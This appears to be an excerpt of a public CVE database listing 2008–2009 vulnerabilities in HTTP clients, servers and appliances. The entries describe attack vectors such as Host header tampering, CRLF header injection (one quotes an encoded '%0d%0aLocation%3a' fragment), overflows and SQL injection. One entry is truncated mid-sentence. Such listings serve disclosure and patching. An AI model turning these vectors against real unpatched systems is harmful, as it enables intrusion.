19507| [CVE-2009-2060] src/net/http/http_transaction_winhttp.cc in Google Chrome before 1.0.154.53 uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
19508| [CVE-2009-2059] Opera, possibly before 9.25, uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
19509| [CVE-2009-2058] Apple Safari before 3.2.2 uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
19510| [CVE-2009-2057] Microsoft Internet Explorer before 8 uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
19511| [CVE-2009-2046] The embedded web server on the Cisco Video Surveillance 2500 Series IP Camera with firmware before 2.1 allows remote attackers to read arbitrary files via a (1) http or (2) https request, related to the (a) SD Camera Web Server and the (b) Wireless Camera HTTP Server, aka Bug IDs CSCsu05515 and CSCsr96497.
19512| [CVE-2009-1976] Unspecified vulnerability in the HTTP Server component in Oracle Application Server 10.1.2.3 allows remote attackers to affect integrity via unknown vectors.
19513| [CVE-2009-1955] The expat XML parser in the apr_xml_* interface in xml/apr_xml.c in Apache APR-util before 1.3.7, as used in the mod_dav and mod_dav_svn modules in the Apache HTTP Server, allows remote attackers to cause a denial of service (memory consumption) via a crafted XML document containing a large number of nested entity references, as demonstrated by a PROPFIND request, a similar issue to CVE-2003-1564.
19514| [CVE-2009-1907] Cross-site scripting (XSS) vulnerability in claroline/linker/notfound.php in Claroline 1.8.11 allows remote attackers to inject arbitrary web script or HTML via the Referer HTTP header.
19515| [CVE-2009-1903] The PDF XSS protection feature in ModSecurity before 2.5.8 allows remote attackers to cause a denial of service (Apache httpd crash) via a request for a PDF file that does not use the GET method.
19516| [CVE-2009-1901] The Security component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.35 permits "non-standard http methods," which has unknown impact and remote attack vectors.
19517| [CVE-2009-1898] The secure login page in the Administrative Console component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.35 does not redirect to an https page upon receiving an http request, which makes it easier for remote attackers to read the contents of WAS sessions by sniffing the network.
19518| [CVE-2009-1891] The mod_deflate module in Apache httpd 2.2.11 and earlier compresses large files until completion even after the associated network connection is closed, which allows remote attackers to cause a denial of service (CPU consumption).
19519| [CVE-2009-1890] The stream_reqbody_cl function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server before 2.3.3, when a reverse proxy is configured, does not properly handle an amount of streamed data that exceeds the Content-Length value, which allows remote attackers to cause a denial of service (CPU consumption) via crafted requests.
19520| [CVE-2009-1842] SQL injection vulnerability in main/tracking/userLog.php in Francisco Burzi PHP-Nuke 8.0 allows remote attackers to execute arbitrary SQL commands via the HTTP Referer header.
19521| [CVE-2009-1836] Mozilla Firefox before 3.0.11, Thunderbird before 2.0.0.22, and SeaMonkey before 1.1.17 use the HTTP Host header to determine the context of a document provided in a non-200 CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
19522| [CVE-2009-1777] CRLF injection vulnerability in FormMail.pl in Matt Wright FormMail 1.92, and possibly earlier, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the redirect parameter.
19523| [CVE-2009-1723] CFNetwork in Apple Mac OS X 10.5 before 10.5.8 places an incorrect URL in a certificate warning in certain 302 redirection scenarios, which makes it easier for remote attackers to trick a user into visiting an arbitrary https web site by leveraging an open redirect vulnerability, a different issue than CVE-2009-2062.
19524| [CVE-2009-1697] CRLF injection vulnerability in WebKit in Apple Safari before 4.0, iPhone OS 1.0 through 2.2.1, and iPhone OS for iPod touch 1.1 through 2.2.1 allows remote attackers to inject HTTP headers and bypass the Same Origin Policy via a crafted HTML document, related to cross-site scripting (XSS) attacks that depend on communication with arbitrary web sites on the same server through use of XMLHttpRequest without a Host header.
19525| [CVE-2009-1677] Multiple static code injection vulnerabilities in the saveFeed function in rss/feedcreator.class.php in Bitweaver 2.6 and earlier allow (1) remote authenticated users to inject arbitrary PHP code into files by placing PHP sequences into the account's "display name" setting and then invoking boards/boards_rss.php, and might allow (2) remote attackers to inject arbitrary PHP code into files via the HTTP Host header in a request to boards/boards_rss.php.
19526| [CVE-2009-1591] CRLF injection vulnerability in CGI RESCUE Web Mailer before 1.04 allows remote attackers to inject arbitrary HTTP headers, and conduct cross-site scripting (XSS) or HTTP response splitting attacks, via CRLF sequences in an unspecified web form.
19527| [CVE-2009-1567] Multiple stack-based buffer overflows in the Lateral Arts Photobox uploader ActiveX control 1.x before 1.3, and 2.2.0.6, allow remote attackers to execute arbitrary code via a long URL string for the (1) LogURL, (2) ConnectURL, (3) SkinURL, (4) AlbumCreateURL, (5) ErrorURL, or (6) httpsinglehost property value.
19528| [CVE-2009-1536] ASP.NET in Microsoft .NET Framework 2.0 SP1 and SP2 and 3.5 Gold and SP1, when ASP 2.0 is used in integrated mode on IIS 7.0, does not properly manage request scheduling, which allows remote attackers to cause a denial of service (daemon outage) via a series of crafted HTTP requests, aka "Remote Unauthenticated Denial of Service in ASP.NET Vulnerability."
19529| [CVE-2009-1523] Directory traversal vulnerability in the HTTP server in Mort Bay Jetty 5.1.14, 6.x before 6.1.17, and 7.x through 7.0.0.M2 allows remote attackers to access arbitrary files via directory traversal sequences in the URI.
19530| [CVE-2009-1477] The https web interfaces on the ATEN KH1516i IP KVM switch with firmware 1.0.063, the KN9116 IP KVM switch with firmware 1.1.104, and the PN9108 power-control unit have a hardcoded SSL private key, which makes it easier for remote attackers to decrypt https sessions by extracting this key from their own switch and then sniffing network traffic to a switch owned by a different customer.
19531| [CVE-2009-1476] Buffer overflow in lib/load_http.c in ippool in Darren Reed IPFilter (aka IP Filter) 4.1.31 allows local users to gain privileges via vectors involving a long hostname in a URL.
19532| [CVE-2009-1425] Unspecified vulnerability in HP ProCurve Threat Management Services zl Module (J9155A) ST.1.0.090213 and earlier allows remote attackers to cause a denial of service by triggering a stop or crash in httpd, aka PR_18770, a different vulnerability than CVE-2009-1423 and CVE-2009-1424.
19533| [CVE-2009-1357] CRLF injection vulnerability in da/DA/Login in Sun Java System Delegated Administrator 6.2 through 6.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the HELP_PAGE parameter.
19534| [CVE-2009-1353] Buffer overflow in the http_parse_hex function in libz/misc.c in Zervit Webserver 0.02 allows remote attackers to cause a denial of service (daemon crash) via a long URI, related to http.c.
19535| [CVE-2009-1312] Mozilla Firefox before 3.0.9 and SeaMonkey 1.1.17 do not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header. NOTE: it was later reported that Firefox 3.6 a1 pre and Mozilla 1.7.x and earlier are also affected.
19536| [CVE-2009-1309] Mozilla Firefox before 3.0.9, Thunderbird, and SeaMonkey do not properly implement the Same Origin Policy for (1) XMLHttpRequest, involving a mismatch for a document's principal, and (2) XPCNativeWrapper.toString, involving an incorrect __proto__ scope, which allows remote attackers to conduct cross-site scripting (XSS) attacks and possibly other attacks via a crafted document.
19537| [CVE-2009-1227] ** DISPUTED ** NOTE: this issue has been disputed by the vendor. Buffer overflow in the PKI Web Service in Check Point Firewall-1 PKI Web Service allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long (1) Authorization or (2) Referer HTTP header to TCP port 18624. NOTE: the vendor has disputed this issue, stating "Check Point Security Alert Team has analyzed this report. We've tried to reproduce the attack on all VPN-1 versions from NG FP2 and above with and without HFAs. The issue was not reproduced. We have conducted a thorough analysis of the relevant code and verified that we are secure against this attack. We consider this attack to pose no risk to Check Point customers." In addition, the original researcher, whose reliability is unknown as of 20090407, also states that the issue "was discovered during a pen-test where the client would not allow further analysis."
19538| [CVE-2009-1220] Cross-site scripting (XSS) vulnerability in +webvpn+/index.html in WebVPN on the Cisco Adaptive Security Appliances (ASA) 5520 with software 7.2(4)30 and earlier 7.2 versions including 7.2(2)22, and 8.0(4)28 and earlier 8.0 versions, when clientless mode is enabled, allows remote attackers to inject arbitrary web script or HTML via the Host HTTP header.
19539| [CVE-2009-1211] Blue Coat ProxySG, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
19540| [CVE-2009-1195] The Apache HTTP Server 2.2.11 and earlier 2.2 versions does not properly handle Options=IncludesNOEXEC in the AllowOverride directive, which allows local users to gain privileges by configuring (1) Options Includes, (2) Options +Includes, or (3) Options +IncludesNOEXEC in a .htaccess file, and then inserting an exec element in a .shtml file.
19541| [CVE-2009-1191] mod_proxy_ajp.c in the mod_proxy_ajp module in the Apache HTTP Server 2.2.11 allows remote attackers to obtain sensitive response data, intended for a client that sent an earlier POST request with no request body, via an HTTP request.
19542| [CVE-2009-1167] Unspecified vulnerability on the Cisco Wireless LAN Controller (WLC) platform 4.x before 4.2.205.0 and 5.x before 5.2.191.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to modify the configuration via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCsy44672.
19543| [CVE-2009-1166] The administrative web interface on the Cisco Wireless LAN Controller (WLC) platform 4.x before 4.2.205.0 and 5.x before 5.2.191.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to cause a denial of service (device reload) via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCsy27708.
19544| [CVE-2009-1164] The administrative web interface on the Cisco Wireless LAN Controller (WLC) platform 4.2 before 4.2.205.0 and 5.x before 5.2.178.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to cause a denial of service (device reload) via a malformed response to a (1) HTTP or (2) HTTPS authentication request, aka Bug ID CSCsx03715.
19545| [CVE-2009-1156] Unspecified vulnerability on Cisco Adaptive Security Appliances (ASA) 5500 Series devices 8.0 before 8.0(4)25 and 8.1 before 8.1(2)15, when an SSL VPN or ASDM access is configured, allows remote attackers to cause a denial of service (device reload) via a crafted (1) SSL or (2) HTTP packet.
19546| [CVE-2009-1149] CRLF injection vulnerability in bs_disp_as_mime_type.php in the BLOB streaming feature in phpMyAdmin before 3.1.3.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the (1) c_type and possibly (2) file_type parameters.
19547| [CVE-2009-1135] Microsoft Internet Security and Acceleration (ISA) Server 2006 Gold and SP1, when Radius OTP is enabled, uses the HTTP-Basic authentication method, which allows remote attackers to gain the privileges of an arbitrary account, and access published web pages, via vectors involving attempted access to a network resource behind the ISA Server, aka "Radius OTP Bypass Vulnerability."
19548| [CVE-2009-1122] The WebDAV extension in Microsoft Internet Information Services (IIS) 5.0 on Windows 2000 SP4 does not properly decode URLs, which allows remote attackers to bypass authentication, and possibly read or create files, via a crafted HTTP request, aka "IIS 5.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1535.
19549| [CVE-2009-1101] Unspecified vulnerability in the lightweight HTTP server implementation in Java SE Development Kit (JDK) and Java Runtime Environment (JRE) 6 Update 12 and earlier allows remote attackers to cause a denial of service (probably resource consumption) for a JAX-WS service endpoint via a connection without any data, which triggers a file descriptor "leak."
19550| [CVE-2009-1066] SQL injection vulnerability in the referral function in admin/lib/lib_logs.php in Pixie CMS 1.01a allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header in a request.
19551| [CVE-2009-1048] The web interface on the snom VoIP phones snom 300, snom 320, snom 360, snom 370, and snom 820 with firmware 6.5 before 6.5.20, 7.1 before 7.1.39, and 7.3 before 7.3.14 allows remote attackers to bypass authentication, and reconfigure the phone or make arbitrary use of the phone, via a (1) http or (2) https request with 127.0.0.1 in the Host header.
19552| [CVE-2009-1030] Cross-site scripting (XSS) vulnerability in the choose_primary_blog function in wp-includes/wpmu-functions.php in WordPress MU (WPMU) before 2.7 allows remote attackers to inject arbitrary web script or HTML via the HTTP Host header.
19553| [CVE-2009-1012] Unspecified vulnerability in the plug-ins for Apache and IIS web servers in Oracle BEA WebLogic Server 7.0 Gold through SP7, 8.1 Gold through SP6, 9.0, 9.1, 9.2 Gold through MP3, 10.0 Gold through MP1, and 10.3 allows remote attackers to affect confidentiality, integrity, and availability. NOTE: the previous information was obtained from the April 2009 CPU. Oracle has not commented on claims from a reliable researcher that this is an integer overflow in an unspecified plug-in that parses HTTP requests, which leads to a heap-based buffer overflow.
19554| [CVE-2009-0993] Unspecified vulnerability in the OPMN component in Oracle Application Server 10.1.2.3 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the April 2009 CPU. Oracle has not commented on reliable researcher claims that this issue is a format string vulnerability that allows remote attackers to execute arbitrary code via format string specifiers in an HTTP POST URI, which are not properly handled when logging to opmn/logs/opmn.log.
19555| [CVE-2009-0921] Multiple heap-based buffer overflows in OvCgi/Toolbar.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allow remote attackers to execute arbitrary code via (1) a long OvAcceptLang cookie, which triggers the error in ov.dll and ovwww.dll, or (2) a long Accept-Language HTTP header, which triggers the error in ovwww.dll or libovwww.so.4.
19556| [CVE-2009-0918] Multiple unspecified vulnerabilities in DFLabs PTK 1.0.0 through 1.0.4 allow remote attackers to execute arbitrary commands in processes launched by PTK's Apache HTTP Server via (1) "external tools" or (2) a crafted forensic image.
19557| [CVE-2009-0898] Stack-based buffer overflow in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a crafted HTTP request.
19558| [CVE-2009-0868] CRLF injection vulnerability in the WebLink template in Fujitsu Jasmine2000 Enterprise Edition allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19559| [CVE-2009-0840] Heap-based buffer underflow in the readPostBody function in cgiutil.c in mapserv in MapServer 4.x before 4.10.4 and 5.x before 5.2.2 allows remote attackers to have an unknown impact via a negative value in the Content-Length HTTP header.
19560| [CVE-2009-0804] Ziproxy 2.6.0, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
19561| [CVE-2009-0803] SmoothWall SmoothGuardian, as used in SmoothWall Firewall, NetworkGuardian, and SchoolGuardian 2008, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
19562| [CVE-2009-0802] Qbik WinGate, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
19563| [CVE-2009-0801] Squid, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
19564| [CVE-2009-0796] Cross-site scripting (XSS) vulnerability in Status.pm in Apache::Status and Apache2::Status in mod_perl1 and mod_perl2 for the Apache HTTP Server, when /perl-status is accessible, allows remote attackers to inject arbitrary web script or HTML via the URI.
19565| [CVE-2009-0693] Multiple buffer overflows in Wyse Device Manager (WDM) 4.7.x allow remote attackers to execute arbitrary code via (1) the User-Agent HTTP header to hserver.dll or (2) unspecified input to hagent.exe.
19566| [CVE-2009-0644] The HTTP interface in Swann DVR4-SecuraNet has a certain default administrative username and password, which makes it easier for remote attackers to obtain privileged access.
19567| [CVE-2009-0626] The SSLVPN feature in Cisco IOS 12.3 through 12.4 allows remote attackers to cause a denial of service (device reload or hang) via a crafted HTTPS packet.
19568| [CVE-2009-0551] Microsoft Internet Explorer 6 SP1, 6 and 7 on Windows XP SP2 and SP3, 6 and 7 on Windows Server 2003 SP1 and SP2, 7 on Windows Vista Gold and SP1, and 7 on Windows Server 2008 does not properly handle transition errors in a request for one HTTP document followed by a request for a second HTTP document, which allows remote attackers to execute arbitrary code via vectors involving (1) multiple crafted pages on a web site or (2) a web page with crafted inline content such as banner advertisements, aka "Page Transition Memory Corruption Vulnerability."
19569| [CVE-2009-0550] Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008
19570| [CVE-2009-0478] Squid 2.7 to 2.7.STABLE5, 3.0 to 3.0.STABLE12, and 3.1 to 3.1.0.4 allows remote attackers to cause a denial of service via an HTTP request with an invalid version number, which triggers a reachable assertion in (1) HttpMsg.c and (2) HttpStatusLine.c.
19571| [CVE-2009-0471] Cross-site request forgery (CSRF) vulnerability in the HTTP server in Cisco IOS 12.4(23) allows remote attackers to execute arbitrary commands, as demonstrated by executing the hostname command with a level/15/configure/-/hostname request.
19572| [CVE-2009-0470] Multiple cross-site scripting (XSS) vulnerabilities in the HTTP server in Cisco IOS 12.4(23) allow remote attackers to inject arbitrary web script or HTML via the PATH_INFO to the default URI under (1) level/15/exec/-/ or (2) exec/, a different vulnerability than CVE-2008-3821.
19573| [CVE-2009-0436] The (1) mod_ibm_ssl and (2) mod_cgid modules in IBM HTTP Server 6.0.x before 6.0.2.31 and 6.1.x before 6.1.0.19, as used in WebSphere Application Server (WAS), set incorrect permissions for AF_UNIX sockets, which has unknown impact and local attack vectors.
19574| [CVE-2009-0433] Unspecified vulnerability in IBM WebSphere Application Server (WAS) 5.1.x before 5.1.1.19, 6.0.x before 6.0.2.29, and 6.1.x before 6.1.0.19, when Web Server plug-in content buffering is enabled, allows attackers to cause a denial of service (daemon crash) via unknown vectors, related to a mishandling of client read failures in which clients receive many 500 HTTP error responses and backend servers are incorrectly labeled as down.
19575| [CVE-2009-0419] Microsoft XML Core Services, as used in Microsoft Expression Web, Office, Internet Explorer 6 and 7, and other products, does not properly restrict access from web pages to Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls, related to the HTTPOnly protection mechanism. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2008-4033.
19576| [CVE-2009-0411] Google Chrome before 1.0.154.46 does not properly restrict access from web pages to the (1) Set-Cookie and (2) Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls and other web script.
19577| [CVE-2009-0358] Mozilla Firefox 3.x before 3.0.6 does not properly implement the (1) no-store and (2) no-cache Cache-Control directives, which allows local users to obtain sensitive information by using the (a) back button or (b) history list of the victim's browser, as demonstrated by reading the response page of an https POST request.
19578| [CVE-2009-0357] Mozilla Firefox before 3.0.6 and SeaMonkey before 1.1.15 do not properly restrict access from web pages to the (1) Set-Cookie and (2) Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls, related to the HTTPOnly protection mechanism.
19579| [CVE-2009-0321] Apple Safari 3.2.1 (aka AppVer 3.525.27.1) on Windows allows remote attackers to cause a denial of service (infinite loop or access violation) via a link to an http URI in which the authority (aka hostname) portion is either a (1) . (dot) or (2) .. (dot dot) sequence.
19580| [CVE-2009-0192] Off-by-one error in the iMonitor component in Novell eDirectory 8.8 SP3, 8.8 SP3 FTF3, and possibly other versions allows remote attackers to execute arbitrary code via an HTTP request with a crafted Accept-Language header, which triggers a stack-based buffer overflow.
19581| [CVE-2009-0187] Stack-based buffer overflow in Orbit Downloader 2.8.2 and 2.8.3, and possibly other versions before 2.8.5, allows remote attackers to execute arbitrary code via a crafted HTTP URL with a long host name, which is not properly handled when constructing a "Connecting" log message.
19582| [CVE-2009-0183] Stack-based buffer overflow in Remote Control Server in Free Download Manager (FDM) 2.5 Build 758 and 3.0 Build 844 allows remote attackers to execute arbitrary code via a long Authorization header in an HTTP request.
19583| [CVE-2009-0182] Buffer overflow in VUPlayer 2.49 and earlier allows user-assisted attackers to execute arbitrary code via a long URL in a File line in a .pls file, as demonstrated by an http URL on a File1 line.
19584| [CVE-2009-0164] The web interface for CUPS before 1.3.10 does not validate the HTTP Host header in a client request, which makes it easier for remote attackers to conduct DNS rebinding attacks.
19585| [CVE-2009-0157] Heap-based buffer overflow in CFNetwork in Apple Mac OS X 10.5 before 10.5.7 allows remote web servers to execute arbitrary code or cause a denial of service (application crash) via long HTTP headers.
19586| [CVE-2009-0144] CFNetwork in Apple Mac OS X 10.5 before 10.5.7 does not properly parse noncompliant Set-Cookie headers, which allows remote attackers to obtain sensitive information by sniffing the network for "secure cookies" that are sent over unencrypted HTTP connections.
19587| [CVE-2009-0113] Directory traversal vulnerability in attachmentlibrary.php in the XStandard component for Joomla! 1.5.8 and earlier allows remote attackers to list arbitrary directories via a .. (dot dot) in the X_CMS_LIBRARY_PATH HTTP header.
19588| [CVE-2009-0089] Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, and Vista Gold allows remote web servers to impersonate arbitrary https web sites by using DNS spoofing to "forward a connection" to a different https web site that has a valid certificate matching its own domain name, but not a certificate matching the domain name of the host requested by the user, aka "Windows HTTP Services Certificate Name Mismatch Vulnerability."
19589| [CVE-2009-0086] Integer underflow in Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote HTTP servers to execute arbitrary code via crafted parameter values in a response, related to error handling, aka "Windows HTTP Services Integer Underflow Vulnerability."
19590| [CVE-2009-0037] The redirect implementation in curl and libcurl 5.11 through 7.19.3, when CURLOPT_FOLLOWLOCATION is enabled, accepts arbitrary Location values, which might allow remote HTTP servers to (1) trigger arbitrary requests to intranet servers, (2) read or overwrite arbitrary files via a redirect to a file: URL, or (3) execute arbitrary commands via a redirect to an scp: URL.
19591| [CVE-2009-0033] Apache Tomcat 4.1.0 through 4.1.39, 5.5.0 through 5.5.27, and 6.0.0 through 6.0.18, when the Java AJP connector and mod_jk load balancing are used, allows remote attackers to cause a denial of service (application outage) via a crafted request with invalid headers, related to temporary blocking of connectors that have encountered errors, as demonstrated by an error involving a malformed HTTP Host header.
19592| [CVE-2009-0023] The apr_strmatch_precompile function in strmatch/apr_strmatch.c in Apache APR-util before 1.3.5 allows remote attackers to cause a denial of service (daemon crash) via crafted input involving (1) a .htaccess file used with the Apache HTTP Server, (2) the SVNMasterURI directive in the mod_dav_svn module in the Apache HTTP Server, (3) the mod_apreq2 module for the Apache HTTP Server, or (4) an application that uses the libapreq2 library, which triggers a heap-based buffer underflow.
19593| [CVE-2008-7312] The Filtering Service in Websense Enterprise 5.2 through 6.3 does not consider the IP address during URL categorization, which makes it easier for remote attackers to bypass filtering via an HTTP request, as demonstrated by a request to a compromised server associated with a specific IP address.
19594| [CVE-2008-7298] The Android browser in Android cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
19595| [CVE-2008-7297] Opera cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
19596| [CVE-2008-7296] Apple Safari cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
19597| [CVE-2008-7295] Microsoft Internet Explorer cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
19598| [CVE-2008-7294] Google Chrome before 4.0.211.0 cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
19599| [CVE-2008-7293] Mozilla Firefox before 4 cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
19600| [CVE-2008-7257] CRLF injection vulnerability in +webvpn+/index.html in WebVPN on Cisco Adaptive Security Appliances (ASA) 5580 series devices with software before 8.1(2) allows remote attackers to inject arbitrary HTTP headers as demonstrated by a redirect attack involving a %0d%0aLocation%3a sequence in a URI, or conduct HTTP response splitting attacks via unspecified vectors, aka Bug ID CSCsr09163.
19601| [CVE-2008-7253] The default configuration of the web server in IBM Lotus Domino Server, possibly 6.0 through 8.0, enables the HTTP TRACE method, which makes it easier for remote attackers to steal cookies and authentication credentials via a cross-site tracing (XST) attack, a related issue to CVE-2004-2763 and CVE-2005-3398.
19602| [CVE-2008-7249] Buffer overflow in Squid Analysis Report Generator (Sarg) 2.2.3.1, and probably later, allows user-assisted remote attackers to execute arbitrary code via a long HTTP request method in a crafted access.log file, a different vulnerability than CVE-2008-1167.
19603| [CVE-2008-7195] Unspecified vulnerability in Fujitsu Interstage HTTP Server, as used in Interstage Application Server Enterprise Edition 7.0.1 for Solaris, allows attackers to cause a denial of service via unknown vectors related to SSL.
19604| [CVE-2008-7194] Unspecified vulnerability in Fujitsu Interstage HTTP Server, as used in Interstage Application Server 5.0, 7.0, 7.0.1, and 8.0.0 for Windows, allows attackers to cause a denial of service via a crafted request.
19605| [CVE-2008-7193] PHPKIT 1.6.4 PL1 includes the session ID in the URL, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks by reading the PHPKITSID parameter from the HTTP Referer and using it in a request to (1) modify the user profile via upload_files/include.php or (2) create a new administrator via upload_files/pk/include.php.
19606| [CVE-2008-7161] Fortinet FortiGuard Fortinet FortiGate-1000 3.00 build 040075,070111 allows remote attackers to bypass URL filtering via fragmented GET or POST requests that use HTTP/1.0 without the Host header. NOTE: this issue might be related to CVE-2005-3058.
19607| [CVE-2008-7160] The silc_http_server_parse function in lib/silchttp/silchttpserver.c in the internal HTTP server in silcd in Secure Internet Live Conferencing (SILC) Toolkit before 1.1.9 allows remote attackers to overwrite a stack location and possibly execute arbitrary code via a crafted Content-Length header, related to incorrect use of a %lu format string.
19608| [CVE-2008-7153] SQL injection vulnerability in the autoDetectRegion function in doceboCore/lib/lib.regset.php in Docebo 3.5.0.3 and earlier allows remote attackers to execute arbitrary SQL commands via the Accept-Language HTTP header. NOTE: this can be leveraged to execute arbitrary PHP code using the INTO DUMPFILE command.
19609| [CVE-2008-7082] MyBB (aka MyBulletinBoard) 1.4.3 includes the sensitive my_post_key parameter in URLs to moderation.php with the (1) mergeposts, (2) split, and (3) deleteposts actions, which allows remote attackers to steal the token and bypass the cross-site request forgery (CSRF) protection mechanism to hijack the authentication of moderators by reading the token from the HTTP Referer header.
19610| [CVE-2008-7078] Multiple buffer overflows in Rumpus before 6.0.1 allow remote attackers to (1) cause a denial of service (segmentation fault) via a long HTTP verb in the HTTP component
19611| [CVE-2008-7025] TrueVector in Check Point ZoneAlarm 8.0.020.000, with vsmon.exe running, allows remote HTTP proxies to cause a denial of service (crash) and disable the HIDS module via a crafted response.
19612| [CVE-2008-7014] fhttpd 0.4.2 allows remote attackers to cause a denial of service (crash) via an Authorization HTTP header with an invalid character after the Basic value.
19613| [CVE-2008-6994] Stack-based buffer overflow in the SaveAs feature (SaveFileAsWithFilter function) in win_util.cc in Google Chrome 0.2.149.27 allows user-assisted remote attackers to execute arbitrary code via a web page with a long TITLE element, which triggers the overflow when the user saves the page and a long filename is generated. NOTE: it might be possible to exploit this issue via an HTTP response that includes a long filename in a Content-Disposition header.
19614| [CVE-2008-6983] modules/tool/hitcounter.php in devalcms 1.4a allows remote attackers to execute arbitrary PHP code via the HTTP Referer header with a target file specified in the gv_folder_data parameter, as demonstrated by modifying modules/tool/url2header.php.
19615| [CVE-2008-6898] Buffer overflow in the XHTTP Module 4.1.0.0 in the ActiveX control for SaschArt SasCam Webcam Server 2.6.5 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long argument to the Get method and other unspecified methods.
